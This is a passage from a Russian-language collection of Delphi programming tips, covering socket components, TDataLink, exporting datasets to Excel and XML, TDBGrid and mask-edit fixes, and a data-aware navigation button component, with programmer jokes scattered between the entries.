Программируя на Delphi, я писал различные программы, но вскоре стал интересоваться, как организовать связь между компьютерами, как переслать информацию. Стал лазить по всей палитре компонентов и увидел что-то похожее на розетку, в которую втыкают шнур, и розетку, которую очень бережно держит чья-то рука. Как потом после чтения Неlр'а оказалось, что это компоненты для работы с сокетами. На тот момент я уже имел представления о них, поэтому понял сразу, что это то, что мне нужно. Эти компоненты называются TClientSocket и TServerSocket. Как понятно из названий, один обеспечивает серверную часть, другой клиентскую.
Чтобы подсоединить клиент к серверу, клиенту необходимо указать адрес сервера (IP-адрес или имя). Это свойства Address (IP) и Host (Имя). В целом присоединиться можно только по одному параметру, но по IP - быстрее. Сами подумайте почему...
Еще одним главным параметром является рабочий порт сервера. Кстати заметьте, что в TServerSocket его необходимо указывать тоже. Как уже наверное вы поняли, указанный порт в клиенте должен совпадать с портом, указанного у сервера. Для обычной связи остальные параметры можно не менять. Я бы сказал их вообще лучше даже не менять.
Возникает резонный вопрос, так как все же присоединиться. Чтобы это осуществить, сначала запускаем сервер. Делаеться это просто: в обработчике событий (любом, будь то onClick или onCreate) пишем "ServerSocket1.Active:=True;". Тем самым мы запустили сервер. Чтобы присоединить клиент делаем тоже самое для TClientSocket.
Какие события обрабатываются при подсоединении, отсоединении, ошибке, я думаю вы поймете сами. Интересней, какие события возникают при получении информации. Когда сервер получает информацию обрабатываеться onClientRead, хотя интуиция склоняет в сторону onClientWrite. Здесь она неправа.
procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var Str: string; RemIP: string; begin RemIP := Socket.RemoteAddress; Str := Socket.ReceivedText; end;
После этого в переменной Str содержится полученное сообщение(текстовое), а в переменной RemIP - адрес отправителя сообщения.
Для посылки сообщения с сервера клиентам следует написать процедуру.
procedure TForm1.SendMes(Text: String);
var
i: byte;
begin
with ServerSocket1.Socket do
begin
if ActiveConnections>
0 then
for i := 0 to ActiveConnections - 1 do
try
Connections[i].SendText(Text);
Application.ProcessMessages;
except
//
end;
end; {/WITH}
end;
ServerSocket1.Socket.Connections - это массив всех сокетных соединений. Можно конечно работать с каждам отдельно...
У TClientSocket дело обстоит примерно также, поэтому описывать его не стану. Скажу, что у клиента при получении информации обрабатываеться onRead...
Позже напишу статью о том, как пересылать через сокеты любую информацию, не только текстовую, а также как пересылать потоки...
Каким драйвером пользуется TDATABASE.
Вы можете использовать вызов IDAPI dbiGetDatabaseDesc. Вот быстрая справка (не забудьте добавить DB в список используемых модулей):
var
pDatabase: DBDrsc:
begin
{ pAlias - PChar, содержащий имя псевдонима }
dbiGetDatabaseDesc ( pAlias, @pDatabase ) ;
|
Для получения дополнительной информации обратитесь к описанию свойства pDatabase.szDbType.
Информация о TDataLink.
Автор: James Thorpe (CSA Australasia) Вот тексовое описание TDatalink, которое взято из моего учебного материала. Оригинал имеет еще несколько диаграмм и рисунков, которые не могут быть включены в данный совет. Также рекомендую заглянуть в исходный код модуля DB.PAS. TFieldDatalink - производный класс от TDataLink, являющийся базовым классом для объекта, используемого компонентами для работы с базами данных и осуществляющий функцию связи с набором данных DataSet (TTable или TQuery). DataLink используется DаtаSеt'ом для информирования всех БД-компонентов об изменении записи, о необходимости обновления записи перед помещением ее в базу данных, о том, что DataSet сменила свое состояние на активное или неактивное, и т.д.. И наоборот, DataLink используется БД-компонентами для обновления DataSet, например, его статуса. DataSet может быть связан с несколькими источниками данных DataSource, каждый DataSource может быть связан с несколькими DataLink, и каждый DataLink может быть связан с единственным БД-компонентом. В большинстве случаев, отдельный компонент использует только один DataLink, тем не менее, имеются компоненты, такие как, например, DBLookupList или DBLookupCombo, использующих два DataLink. В этих элементах управления первый DataLink используется для чтения данных из lookup DataSet, второй DataLink используется для записи этих данных (при их изменении) во второй имеющийся DataSet. Каждый DataSet поддерживает связанный с ним список DataSource и, аналогично этому, каждый DataSource поддерживает список связанных с ним Dаtаlinк'ов. В момент, когда DataSet должен уведомить БД-компоненты о наступлении какого-то события, например, при изменении пользователем какой-либо записи, он рассылает это сообщение всем DataSource, находящимся в его списке. Каждый DataSource затем повторяет этот процесс и рассылает сообщение всем Dаtаlinк'ам, находящимся в его списке. Другими словами, связь не зависит от элемента управления, при этом логика программирования должна отслеживать передачу сообщения каждому элементу управления, пользующемуся услугами DataLink и изолировать только те события, на которые элементу необходимо отреагировать. Связывая компонент с набором данных другим способом, мы не получим в свое распоряжение столько управляющих функций, гибкости и мониторинга, сколько даст нам один DataSet, соединенный с помощью DataLink.Кроме функции обеспечения поддержания коммуникационного канала между DataSet и ДБ-компонентами, DataLink также обеспечивает управление буфером для каждого компонента. Большинство элементов управления, таких как, например, TDBEdit, отображающий только отдельно взятую запись, буферизация не требуется, тем не менее, таким компонентам, как, например, TDBGrid и TDBLookupList, отображающим множество записей, буферизация нужна. Физически DataLink данные не буферизирует, эта функция выполняется DataSet. Всесто этого DataLink поддерживает виртуальный буфер, который, в сущности, небольшое "окно" в физический буфер DataSet. Размер этого виртуального буфера может быть установлен с помощью свойства DataLinks BufferCount, а количество записей, реально в нем хранимых, с помощью свойства RecordCount.
Записать TDataSet в Excel файл.
{....}
uses DB;
{....}
private
procedure SendToExcel(aDataSet: TDataSet);
{....}
uses
ComObj, ActiveX, Excel2000; // or Excel97
procedure TForm1.SendToExcel(aDataSet: TDataSet);
var
PreviewToExcel: TExcelApplication;
RangeE: Excel2000.Range; //or RangeE: Excel97.Range
I, Row: Integer;
Bookmark: TBookmarkStr;
begin
PreviewToExcel := TExcelApplication.Create(Self);
PreviewToExcel.Connect;
PreviewToExcel.Workbooks.Add(NULL, 0);
RangeE := PreviewToExcel.ActiveCell;
for I := 0 to aDataSet.Fields.Count - 1 do
begin
RangeE.Value := aDataSet.Fields[I].DisplayLabel;
RangeE := RangeE.Next;
end;
aDataSet.DisableControls;
try
Bookmark := aDataSet.Bookmark;
try
aDataSet.First;
Row := 2;
while not aDataSet.EOF do
begin
//Write down Record As Row in msExcel
RangeE := PreviewToExcel.Range['A' + IntToStr(Row), 'A' + IntToStr(Row)];
for I := 0 to aDataSet.Fields.Count - 1 do
begin
RangeE.Value := aDataSet.Fields[I].AsString;
RangeE := RangeE.Next;
end;
aDataSet.Next;
Inc(Row);
end;
finally
aDataSet.Bookmark := Bookmark;
end;
finally
aDataSet.EnableControls;
end;
//Creating Preview from Range A1..ColumnX
//Calculating ASCII 64 (Character Before "A") With Dataset FieldsCount
//This Method can only handle range A1..Z?, if want to be excel column type
//support, exp "AA"/"IV"
RangeE := PreviewToExcel.Range['A1', chr(64 + aDataSet.Fields.Count) + IntToStr(Row - 1)];
RangeE.AutoFormat(8, NULL, NULL, NULL, NULL, NULL, NULL);
PreviewToExcel.Visible[0] := True;
PreviewToExcel.Disconnect;
end;
// Beispiel:
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
SendToExcel(Table1);
end;
|
Экспорт TDataSet в XML файл.
| Как программист узнает о ядерной войне? Выглядит это примерно так: Pinging calf.bk.ru [212.188.13.93] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 1.1.1.1: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms |
{Unit to export a dataset to XML}
unit DS2XML;
interface
uses
Classes, DB;
procedure DatasetToXML(Dataset: TDataSet; FileName: string);
implementation
uses
SysUtils;
var
SourceBuffer: PChar;
procedure WriteString(Stream: TFileStream; s: string);
begin
StrPCopy(SourceBuffer, s);
Stream.Write(SourceBuffer[0], StrLen(SourceBuffer));
end;
procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataSet);
function XMLFieldType(fld: TField): string;
begin
case fld.DataType of
ftString: Result := '"string" WIDTH="' + IntToStr(fld.Size) + '"';
ftSmallint: Result := '"i4"'; //??
ftInteger: Result := '"i4"';
ftWord: Result := '"i4"'; //??
ftBoolean: Result := '"boolean"';
ftAutoInc: Result := '"i4" SUBTYPE="Autoinc"';
ftFloat: Result := '"r8"';
ftCurrency: Result := '"r8" SUBTYPE="Money"';
ftBCD: Result := '"r8"'; //??
ftDate: Result := '"date"';
ftTime: Result := '"time"'; //??
ftDateTime: Result := '"datetime"';
else
end;
if fld.Required then
Result := Result + ' required="true"';
if fld.ReadOnly then
Result := Result + ' readonly="true"';
end;
var
i: Integer;
begin
WriteString(Stream, '<?xml version="1.0" standalone="yes"?><!-- Generated by SMExport --> ' +
'<DATAPACKET Version="2.0">');
WriteString(Stream, '<METADATA><FIELDS>');
{write th metadata}
with Dataset do
for i := 0 to FieldCount - 1 do
begin
WriteString(Stream, '<FIELD attrname="' +
Fields[i].FieldName +
'" fieldtype=' +
XMLFieldType(Fields[i]) +
'/>');
end;
WriteString(Stream, '</FIELDS>');
WriteString(Stream, '<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>');
WriteString(Stream, '</METADATA><ROWDATA>');
end;
procedure WriteFileEnd(Stream: TFileStream);
begin
WriteString(Stream, '</ROWDATA></DATAPACKET>');
end;
procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean);
begin
if not IsAddedTitle then
WriteString(Stream, '<ROW');
end;
procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean);
begin
if not IsAddedTitle then
WriteString(Stream, '/>');
end;
procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString);
begin
if Assigned(fld) and (AString <> '') then
WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"');
end;
function GetFieldStr(Field: TField): string;
function GetDig(i, j: Word): string;
begin
Result := IntToStr(i);
while (Length(Result) < j) do
Result := '0' + Result;
end;
var
Hour, Min, Sec, MSec: Word;
begin
case Field.DataType of
ftBoolean: Result := UpperCase(Field.AsString);
ftDate: Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
ftTime: Result := FormatDateTime('hhnnss', Field.AsDateTime);
ftDateTime:
begin
Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec);
if (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then
Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min,
2) + ':' + GetDig(Sec, 2) + GetDig(MSec, 3);
end;
else
Result := Field.AsString;
end;
end;
procedure DatasetToXML(Dataset: TDataSet; FileName: string);
var
Stream: TFileStream;
bkmark: TBookmark;
i: Integer;
begin
Stream := TFileStream.Create(FileName, fmCreate);
SourceBuffer := StrAlloc(1024);
WriteFileBegin(Stream, Dataset);
with DataSet do
begin
DisableControls;
bkmark := GetBookmark;
First;
{write a title row}
WriteRowStart(Stream, True);
for i := 0 to FieldCount - 1 do
WriteData(Stream, nil, Fields[i].DisplayLabel);
{write the end of row}
WriteRowEnd(Stream, True);
while (not EOF) do
begin
WriteRowStart(Stream, False);
for i := 0 to FieldCount - 1 do
WriteData(Stream, Fields[i], GetFieldStr(Fields[i]));
{write the end of row}
WriteRowEnd(Stream, False);
Next;
end;
GotoBookmark(bkmark);
EnableControls;
end;
WriteFileEnd(Stream);
Stream.Free;
StrDispose(SourceBuffer);
end;
end.
// Example:
uses DS2XML;
procedure TForm1.Button1Click(Sender: TObject);
begin DatasetToXML(Table1, 'test.xml');
end;
|
Как сделать экспорт TDataSet в XML файл.
| Как программист узнает о ядерной войне? Выглядит это примерно так: Pinging calf.bk.ru [212.188.13.93] with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 1.1.1.1: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms |
| Автор: http://www.swissdelphicenter.ch |
{Unit to export a dataset to XML}
unit DS2XML;
interface
uses
Classes, DB;
procedure DatasetToXML(Dataset: TDataSet; FileName: string);
implementation
uses
SysUtils;
var
SourceBuffer: PChar;
procedure WriteString(Stream: TFileStream; s: string);
begin
StrPCopy(SourceBuffer, s);
Stream.Write(SourceBuffer[0], StrLen(SourceBuffer));
end;
procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataSet);
function XMLFieldType(fld: TField): string;
begin
case fld.DataType of
ftString: Result := '"string" WIDTH="' + IntToStr(fld.Size) + '"';
ftSmallint: Result := '"i4"'; //??
ftInteger: Result := '"i4"';
ftWord: Result := '"i4"'; //??
ftBoolean: Result := '"boolean"';
ftAutoInc: Result := '"i4" SUBTYPE="Autoinc"';
ftFloat: Result := '"r8"';
ftCurrency: Result := '"r8" SUBTYPE="Money"';
ftBCD: Result := '"r8"'; //??
ftDate: Result := '"date"';
ftTime: Result := '"time"'; //??
ftDateTime: Result := '"datetime"';
else
end;
if fld.Required then
Result := Result + ' required="true"';
if fld.ReadOnly then
Result := Result + ' readonly="true"';
end;
var
i: Integer;
begin
WriteString(Stream,
'<?xml version="1.0" standalone="yes"?><!-- Generated by SMExport --> ' +
'<DATAPACKET Version="2.0">');
WriteString(Stream, '<METADATA><FIELDS>');
{write th metadata}
with Dataset do
for i := 0 to FieldCount - 1 do
begin
WriteString(Stream, '<FIELD attrname="' +
Fields[i].FieldName +
'" fieldtype=' +
XMLFieldType(Fields[i]) +
'/>');
end;
WriteString(Stream, '</FIELDS>');
WriteString(Stream,
'<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>');
WriteString(Stream, '</METADATA><ROWDATA>');
end;
procedure WriteFileEnd(Stream: TFileStream);
begin
WriteString(Stream, '</ROWDATA></DATAPACKET>');
end;
procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean);
begin
if not IsAddedTitle then
WriteString(Stream, '<ROW');
end;
procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean);
begin
if not IsAddedTitle then
WriteString(Stream, '/>');
end;
procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString);
begin
if Assigned(fld) and (AString <> '') then
WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"');
end;
function GetFieldStr(Field: TField): string;
function GetDig(i, j: Word): string;
begin
Result := IntToStr(i);
while (Length(Result) < j) do
Result := '0' + Result;
end;
var
Hour, Min, Sec, MSec: Word;
begin
case Field.DataType of
ftBoolean: Result := UpperCase(Field.AsString);
ftDate: Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
ftTime: Result := FormatDateTime('hhnnss', Field.AsDateTime);
ftDateTime:
begin
Result := FormatDateTime('yyyymmdd', Field.AsDateTime);
DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec);
if (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then
Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min,
2) + ':' + GetDig(Sec, 2) + GetDig(MSec, 3);
end;
else
Result := Field.AsString;
end;
end;
procedure DatasetToXML(Dataset: TDataSet; FileName: string);
var
Stream: TFileStream;
bkmark: TBookmark;
i: Integer;
begin
Stream := TFileStream.Create(FileName, fmCreate);
SourceBuffer := StrAlloc(1024);
WriteFileBegin(Stream, Dataset);
with DataSet do
begin
DisableControls;
bkmark := GetBookmark;
First;
{write a title row}
WriteRowStart(Stream, True);
for i := 0 to FieldCount - 1 do
WriteData(Stream, nil, Fields[i].DisplayLabel);
{write the end of row}
WriteRowEnd(Stream, True);
while (not EOF) do
begin
WriteRowStart(Stream, False);
for i := 0 to FieldCount - 1 do
WriteData(Stream, Fields[i], GetFieldStr(Fields[i]));
{write the end of row}
WriteRowEnd(Stream, False);
Next;
end;
GotoBookmark(bkmark);
EnableControls;
end;
WriteFileEnd(Stream);
Stream.Free;
StrDispose(SourceBuffer);
end;
end.
//Beispiel, Example:
uses DS2XML;
procedure TForm1.Button1Click(Sender: TObject);
begin
DatasetToXML(Table1, 'test.xml');
end;
Как заставить произвольный компонент реагировать на изменения в TDataSource.
Автор: Nomadic.
type
TMyForm = class(TForm)
{...}
Table1: TTable;
DataSource1: TDataSource;
private
FDL: TFieldDataLink;
procedure RecChange(Sender: TObject);
public
{...}
end;
procedure TMyForm.FormCreate(Sender: TObject);
begin
FDL := TFieldDataLink.Create;
FDL.OnDataChange := RecChange;
FDL.DataSource := DataSource1;
FDL.FieldName := 'MyFieldName';
end;
procedure TTabEditDlg.FormDestroy(Sender: TObject);
begin
FDL.Free;
end;
procedure TTabEditDlg.MasterChange(Sender: TObject);
begin
{... тут реагируй на изменения ...}
end;
|
Если надо отслеживать изменения в любом столбце набора, используйте TDataLink. Если необходимо отслеживать события для некоторого подмножества строк набора данных, посмотрите на реализацию TGridDataLink.
Внимание! TDateTime 1899.
| Автор: Kenneth D. James |
| Вчера программист Иванов отметил свой юбилей. Ему исполнилось 32 года. |
Delphi 1.0 вычислял дату первого года с 1899. Для преобразования даты Delphi 1.0 в формат даты Delphi 2.0, необходимо вычесть 693594.0 из даты Delphi 1.0. Формат даты был изменен для обеспечения совместимости с OLE 2.0 Automation.
Корректировка поведения маски TDateTimeField.
Оформил: DeeCo
Автор: Виктор Светлов.
При работе с полями в формате "дата-время" объектов типа TDataSet мои коллеги неоднократно сталкивались с проблемой поведения маски. Недавно у меня тоже возникла задача работы с такими полями. Возможно, ни один из нас просто не разобрался, как нужно делать правильно, но нужно было действовать. Проблема заключается в том, что при вводе с клавиатуры требуется обязательно указывать все знаки, включая ненужные в конкретном случае (временную часть). В противном случае генерируется ошибка:'Invalid input value. Use escape key to abandon changes'После часа, потраченного на разбирательство с маской, возникло желание написать собственный компонент. Спросив у коллег, которые уже ходили этим путем, я решил посмотреть в исходниках - вдруг получится быстро обойти этот вопрос. Не буду брать на себя смелость комментировать, что и как делается в модуле Mask.pas. Кто хочет, может разобраться самостоятельно - ничего особо сложного там нет. Для начала в свойстве EditMask замените символ BlankChar с '_' на '0'. В результате получится маска вроде
!99/99/99 99:99:99;1;0Чтобы при редактировании и просмотре значение выглядело одинаково, укажите свойство DisplayFormat
dd.mm.yy hh:nn:ssДалее нужно добавить в проект файлы Consts.pas, Sysconsts.pas и Mask.pas. После внесения изменений закройте Дельфи, и открыв снова, перекомпилируйте проект. Затем указанные файлы можно исключить из проекта. Пример приведен для Дельфи 5. Изменения следующие:Consts.pas
//SMaskEditErr = 'Invalid input value. Use escape key to abandon changes'; SMaskEditErr = 'Введено некорректное значение. Нажмите Esc для отмены';SysConsts.pas
//SInvalidDateTime = '''%s'' is not a valid date and time'; SInvalidDateTime = '''%s'' - некорректное значение даты и времени';Mask.pas
function TCustomMaskEdit.RemoveEditFormat(const Value: string): string;
…
{шестая строка снизу}
{так было}
// if Result[I] = FMaskBlank then
// Result[I] := ' ';
{так стало}
if Result[I] = FMaskBlank then
if FMaskBlank = '0' then
Result[I] := FMaskBlank
else
Result[I] := ' ';
…
function TCustomMaskEdit.Validate(const Value: string; var Pos: Integer):
Boolean;
…
{одинадцатая строка снизу}
{так было}
// if (Value [Offset] = FMaskBlank) or
// ((Value [Offset] = ' ') and (EditMask[MaskOffset] <> mMskAscii)) then
if (FMaskBlank <> '0') and
((Value[Offset] = FMaskBlank) or
((Value[Offset] = ' ') and (EditMask[MaskOffset] <> mMskAscii))) then
…
В завершении хочу поделиться полезной и простой функцией. Как правило, при создании документа, мы вставляем текущие дату и время. При этом секунды как правило не нужны.
function GetDateTimeWOSec(DateTime: TDateTime): TDateTime;
begin
Result := StrToDateTime(FormatDateTime('dd.mm.yy hh:nn', DateTime));
end;
После проведения описанных манипуляций с полем в формате дата-время становиться так же приятно работать, как с компонентом TRXDateEdit.
Компонент Tdbf для непосредственного доступа к файлам DBF.
Автор: Матвеев Игорь Компонент TDBF предназначен для непосредственного доступа (без использования BDE, ODBC и т.п.) к файлам формата dbf версий dBase III+, dBase IV, dBase V, dBase for Windows. Работает с Delphi 3..6 под Windows 9X/NT4/2000/XPСкачать компонент можно здесь
Изменить высоту строк по умолчанию для TDBGrid.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Derive a new Type: TMyDBGrid
type
TMyDBGrid = class(TDBGrid)
public
property DefaultRowHeight;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
DbGrid1.Canvas.Font.Size := 13;
TMyDBGrid(DBGrid1).DefaultRowHeight := DBGrid1.Canvas.TextHeight('MMMMM') + 4;
end;
Изменить высоту строк по умолчанию для TDBGrid 2.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Way: Make a TypeCast: procedure TForm1.Button1Click(Sender: TObject); begin DBGrid1.DataSource.DataSet.DisableControls; TStringGrid(DBGrid1).DefaultRowHeight := 55; DBGrid1.DataSource.DataSet.EnableControls; end;
Избавить TDBGrid от автоматического добавления новой записи.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{How to stop the dbgrid control from auto-appending a new entry when you move
down after the last record in a table.
It creates a new blank line / record in the table. Can this be stopped?}
{A: Add to your TTables's "BeforeInsert" event the following line:}
procedure TForm1.Tbable1BeforeInsert(DataSet: TDataSet);
begin
Abort; {<<---this line}
end;
{A: It traps the down key and checks for end-of-file.}
procedure TForm8.DBGrid1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Key = VK_DOWN) then
begin
TTable1.DisableControls;
TTable1Next;
if TTable1.EOF then
Key := 0
else
TTable1.Prior;
TTable1.EnableControls;
end;
end;
Проблема хранения TDBImage.
| Автор: Steve Flynn |
| Краткое руководство по преодолению последствий нарушений трудовой дисциплины. (Для несознательных компьютерщиков) Ситуация 1: Вы опаздываете на работу. На проходной стоит шеф. Ваши действия: а)Зимний вариант.Снять и спрятать где-нибудь верхнюю одежду. Показать шефу пачку сигарет, объяснив мимоходом, что Вы уже на месте, просто выскочили на секунду в табачный ларек; б)Летний вариант. Найти пустую коробку (желательно побольше), положить туда что-нибудь потяжелее и поживописнее изобразить погрузочно-разгрузочные работы (с потением и кряхтением); Ситуация 2: Вы вышли с товарищем на чашку кофе. Шеф в течении часа ожидает Вас на Вашем рабочем месте. Ваши действия: а)Сказать,что из винчестера высыпалось несколько кластеров. Пришлось идти занимать у соседей; б)Сделать удивленное лицо и сказать, что сами целый час торчали под дверью кабинета шефа, для консультации как раз по тому же самому вопросу; Ситуация 3: Шеф делает замечание, что после посещения коллеги-компьютерщика от Вас попахивает спиртным и требует объяснений. Ваши действия: а) Предложите шефу купить новый суперсовременный компьютер, чтобы сэкономить на промывке спиртом контактов и разъёмов. б) Объясните, что промывали базу данных техническим спиртом; Ситуация 4: Вы серьезно превысили лимит работы в Internet'e, просидев несколько часов в bk.ru Ваши действия: а)Напишите в объяснительной, что новоприобретенная программа пыталась самостоятельно связаться через Internet с разработчиками для согласования каких-то технических деталей; б)Поясните это возросшим объемом переписки с зарубежными фирмами, которые засыпали Вас выгодными предложениями о работе. Ситуация 5: Вы задержались на несколько часов после работы, чтобы добить свою левую халтуру. Шеф интересуется причиной переработки. Ваши действия: а)Поблагодарите шефа за заботу, в нескольких словах расскажите о своей любви к фирме и намекните на прибавку к зарплате; б)Объясните,что Вы хотя бы так пытаетесь компенсировать свои частые опоздания на работу и несанкционированные отлучки. Намекните про снятие выговора за опоздания. |
Все это потребует от вас изменений в исходном коде VCL, конкретно - в модуле DBCTRLS.PAS. Затем, естественно, это необходимо перекомпилить и пересобрать:
procedure TDBImage.PasteFromClipboard;
var
ClipBrdBmp: TBitmap;
begin
ClipBrdBmp := TBitmap.Create;
if Clipboard.HasFormat(CF_BITMAP) and FDataLink.Edit then
begin
ClipBrdBmp.Assign(Clipboard);
Picture.Assign(ClipBrdBmp);
end;
ClipBrdBmp.Free;
end;
|
Это все. Проблема решена.
TDBLookupComboBox. Реакция на нажатие ESC.
Автор: Vedmed Если на форме находится компонент TDBLookupComboBox и TButton со свойством Cancel, равным True, то выпадающий список компонента TDBLookupComboBox может не закрываться при нажатии клавиши ESC. Проверялось на Windows 2000 professional eng, Delphi 5, Delphi 7 ТИПОВЫЕ РЕШЕНИЯ Описанный эффект проявляется в том случае, если при создании формы TButton создается перед TDBLookupComboBox, таким образом решение проблемы - переместить описание TButton в DFM файле после описания TDBLookupComboBox. Скачать тест StoneTest_28.zip (1.5k) КОММЕНТАРИЙЭффект имеет место быть. Что интересно, с обычным TComboBox и TDBComboBox такого не проиходит.
TDBMemo в TDBCtrlGrid.
| Автор: Pat Ritchey |
| Останавливает ГИБДДшник машину, из машины вываливается сильно пьяный водитель. ГИБДДшник спрашивает: - Ваши права? Водитель отвечает (с трудом ворочая языком): - Root! |
Обойти данное препятствие можно путем создания наследника TDBImage (или TDBMemo), позволяющего его помещать в DBCtrlGrid. Перекройте конструктор Create следующим образом:
constructor TMYDBImage.Create(AOwner:TComponent); begin inherited Create(AOWner); ControlStyle := ControlStyle + [csReplicatable]; end; |
Пример создания компонента TDBNavigationButton.
unit NavBtn;
{ TDBNavigationButton: a data-aware TBitBtn
Delphi 1 + 2
The Beast
E-Mail: thebeast_first_666@yahoo.com
ICQ: 67756646
}
interface
uses
WinTypes, WinProcs, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Messages, StdCtrls, Buttons, dbconsts, DB, DBTables;
type
TNavigationButtonDataLink = class;
TDBNavigationButtonType = (
nbCustom,
nbFirst, nbPrior, nbNext, nbLast,
nbInsert, nbDelete,
nbEdit,
nbPost, nbCancel,
nbRefresh);
TBeforeActionEvent =
procedure (Sender: TObject; var ActionIsDone: Boolean) of object;
TDbNBDisableReason = (
drBOF, drEOF, drReadonly,
drNotEditing, drEditing, drEmpty);
TDbNBDisableReasons = set of TDbNBDisableReason;
{ TDBNavigationButton }
TDBNavigationButton = class (TBitBtn)
private
FDisableReasons: TDbNBDisableReasons;
FDataLink: TNavigationButtonDataLink;
FConfirmDelete: Boolean;
FButtonEnabled: Boolean;
FDBNavigationButtonType: TDBNavigationButtonType;
FOnBeforeAction: TBeforeActionEvent;
FOldOnGlyphChanged: TNotifyEvent;
FCustomGlyph: Boolean;
function GetDataSource: TDataSource;
procedure SetDataSource(Value: TDataSource);
procedure SetDBNavigationButtonType(Value: TDBNavigationButtonType);
procedure ReadButtonEnabled(Reader: TReader);
procedure WriteButtonEnabled(Writer: TWriter);
function NumberOfStandardComponentName: Integer;
function HasStandardComponentName: Boolean;
procedure LoadGlyph;
function StoreGlyph: Boolean;
procedure GlyphChanged(Sender: TObject);
procedure UpdateEnabled;
procedure CalcDisableReasons;
protected
procedure DataChanged;
procedure EditingChanged;
procedure ActiveChanged;
procedure Loaded; override;
procedure DefineProperties(Filer: TFiler); override;
procedure Notification(AComponent: TComponent;
Operation: TOperation); override;
procedure CMEnabledChanged(var Message: TMessage);
message CM_ENABLEDCHANGED;
procedure Click; override;
procedure DoAction; virtual;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property ConfirmDelete: Boolean
read FConfirmDelete write FConfirmDelete default True;
property DataButtonType: TDBNavigationButtonType
read FDBNavigationButtonType write SetDBNavigationButtonType;
property DataSource: TDataSource read GetDataSource write SetDataSource;
property Glyph stored StoreGlyph;
{ Use BeforeAction instead of the Click-event if you want to cancel
the default-action by setting ActionIsDone to true.
The Click-event is called before the DoAction-event. }
property OnBeforeAction: TBeforeActionEvent
read FOnBeforeAction write FOnBeforeAction;
{ Use DisableReasons to say on what case the button has to be disabled.
It is set automatic if you set DataButtonType <> nbCustom.
DisableReason | Disable if Dataset is...
---------------+-------------------------
drBOF | EOF
drEOF | BOF
drReadonly | Readonly
drNotEditing | Not in insert or edit-mode
drEditing | In insert or edit-mode
drEmpty | Both BOF and EOF }
property DisableReasons: TDbNBDisableReasons
read FDisableReasons write FDisableReasons;
end;
{ TNavigationButtonDataLink }
TNavigationButtonDataLink = class(TDataLink)
private
FDBNavigationButton: TDBNavigationButton;
protected
procedure EditingChanged; override;
procedure DataSetChanged; override;
procedure ActiveChanged; override;
public
constructor Create(aDBNavigationButton: TDBNavigationButton);
destructor Destroy; override;
end;
procedure Register;
implementation
{ $R DBCTRLS} { uses DBCTRLS.RES, but that is already linked by DB.PAS }
const
{ RegisterPanel = 'Datensteuerung'; { german }
RegisterPanel = 'Data Controls';
const
CtrlNamePrefix = 'dbNavBtn';
StandardComponentName = 'DBNavigationButton';
const
BtnTypeName: array[TDBNavigationButtonType] of PChar =
('', 'FIRST', 'PRIOR', 'NEXT', 'LAST', 'INSERT', 'DELETE',
'EDIT', 'POST', 'CANCEL', 'REFRESH');
BtnName: array[TDBNavigationButtonType] of string =
('', 'First', 'Prior', 'Next', 'Last', 'New', 'Delete',
'Edit', 'Save', 'Cancel', 'Refresh');
{ TNavigationButtonDataLink }
constructor TNavigationButtonDataLink.Create(aDBNavigationButton: TDBNavigationButton);
begin
inherited Create;
FDBNavigationButton := aDBNavigationButton;
end;
destructor TNavigationButtonDataLink.Destroy;
begin
FDBNavigationButton := nil;
inherited Destroy;
end;
procedure TNavigationButtonDataLink.EditingChanged;
begin
if FDBNavigationButton <> nil then FDBNavigationButton.EditingChanged;
end;
procedure TNavigationButtonDataLink.DataSetChanged;
begin
if FDBNavigationButton <> nil then FDBNavigationButton.DataChanged;
end;
procedure TNavigationButtonDataLink.ActiveChanged;
begin
if FDBNavigationButton <> nil then FDBNavigationButton.ActiveChanged;
end;
{ TDBNavigationButton }
constructor TDBNavigationButton.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FDataLink := TNavigationButtonDataLink.Create(Self);
DataButtonType := nbCustom;
FConfirmDelete := True;
FButtonEnabled := True;
FCustomGlyph := false;
FOldOnGlyphChanged := Glyph.OnChange;
Glyph.OnChange := GlyphChanged;
FDisableReasons := [];
end;
destructor TDBNavigationButton.Destroy;
begin
FDataLink.Free;
FDataLink := nil;
inherited Destroy;
end;
procedure TDBNavigationButton.GlyphChanged(Sender: TObject);
begin
FCustomGlyph := true;
